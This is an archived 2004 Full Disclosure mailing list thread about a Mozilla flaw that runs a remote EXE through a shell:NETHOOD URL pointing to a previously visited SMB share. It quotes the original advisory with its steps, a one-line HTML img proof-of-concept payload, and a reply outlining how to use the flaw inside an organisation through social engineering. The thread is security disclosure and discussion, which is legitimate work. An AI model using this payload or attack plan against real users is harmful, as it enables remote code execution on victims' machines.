Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Re: MOZILLA: SHELL can execute remote EXE program
From: <liudieyu () umbrella name>
Date: Fri, 9 Jul 2004 14:49:23 -0000



Barry Fitzgerald <bkfsec () sdf lonestar org> said:


Interesting... I was trying to determine if the shell: exploit could be 
used to execute remote code on a known web server but hadn't approached 
it from the SMB angle.

the credit also goes to MALWARE and Cheng Peng Su who found SHELL-protocol URL
works on IE. as soon as i read the report at FD, i immediately recalled
NETHOOD and the whole adivsory came out in minutes. :-P


The obvious mitigating factor for this exploit is that someone would 
need to have prior knowledge of which SMB shares had been visited by the 
user, or otherwise try to manipulate those.   Unless a way to merge this 
flaw with an automated method of placing this shortcut into the nethood 
and controlling what content is on said share --  then this 
vulnerability would almost definately not be usable in widespread exploit.

It could be a danger in situations where the cracker has prior knowledge 
of the network environment, though.

this can used in penetration:
in a network of some large org, there are valuable targets who use mozilla and
careless guys. it's easy to compromise some careless guys' machines. then
trick the real valuable target to browse shared folder and use their MOZILLA
to view our webpage - these 2 steps can done easily with good social engineering.

at last, but not least, the SHELL-protocol issue was original posted at
BUGZILLA instead of FD:
http://bugzilla.mozilla.org/show_bug.cgi?id=250180


                -Barry


liudieyu () umbrella name wrote:

SUBJ: MOZILLA: SHELL can execute remote EXE program
DATE: 2004/07/09
FROM: Liu Die Yu <liudieyu AT umbrella D0T name>
############################################################
[START] Advisory
############################################################

COPYRIGHT
---------
This Advisory is Copyright (c) 2004 "Liu Die Yu". 
You may distribute it unmodified. 
You may not modify it and distribute it or distribute parts of it without the
author's written permission. 
( To contact "Liu Die Yu": email: liudieyu AT UMBRELLA d0t NAME )

TESTED
------
MOZILLA("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7)
Gecko/20040616") 
running on winxp.en.home.sp1a.up2date.20040709

PROCESS
-------
VICTIM VISITS A SHARED FOLDER NAMED "shared" ON A SERVER NAMED
"X-6487ohu4s6x0p". 
THIS WILL CREATE A SHORTCUT NAMED "shared on X-6487ohu4s6x0p" IN THE FOLDER AT
"shell:NETHOOD"

AT LAST, MAKE MOZILLA REQUEST THE FOLLOWING URL:
shell:NETHOOD\shared on X-6487ohu4s6x0p\fileid.exe

A FILE NAMED "fileid.exe" IN THE "shared" FOLDER WILL BE EXECUTED.

REFERENCE
---------
MOZILLA will open/execute a file when navigated to a valid SHELL-protocol url:
http://seclists.org/lists/fulldisclosure/2004/Jul/0333.html
greetingz fly to perrymonj.

WINDOWS support "shell:NETHOOD":
http://does-not-exist.org/mail-archives/bugtraq/msg02171.html
thanks to malware for his additional research , and Cheng Peng Su for his
original discovery.



liudieyu

http://umbrella.name

############################################################
[START] PROOF OF CONCEPT
############################################################
<!-- 
MOZILLA REMOTE COMPROMISE DEMO

REPLACE "[" WITH "<", and REPLACE "]" WITH ">".

!!!!! WARNING !!!!!
THIS DEMO WILL NOT WORK WITHOUT PROPER MODIFICATION.

PROCESS:
1. VICTIM VISITS A SHARED FOLDER NAMED "shared" ON A SERVER NAMED
"X-6487ohu4s6x0p".
    THIS WILL CREATE A SHORTCUT NAMED "shared on X-6487ohu4s6x0p" IN THE FOLDER
AT "shell:NETHOOD"
2. VICTIM OPENS THIS HTML FILE WHICH EXECUTES A FILE NAMED "fileid.exe" IN THE
"shared" FOLDER.

CREATED BY:
"Liu Die Yu" -> LIUDIEYU at UMBRELLA D0T NAME

COPYRIGHT:
This Demo is Copyright (c) 2004 "Liu Die Yu". 
You may distribute it unmodified. 
You may not modify it and distribute it or distribute parts of it without the
author's written permission. 
( To contact "Liu Die Yu": email: liudieyu AT UMBRELLA d0t NAME )
-->

[IMG SRC="shell:NETHOOD\shared on X-6487ohu4s6x0p\fileid.exe"]


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html




-- 



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault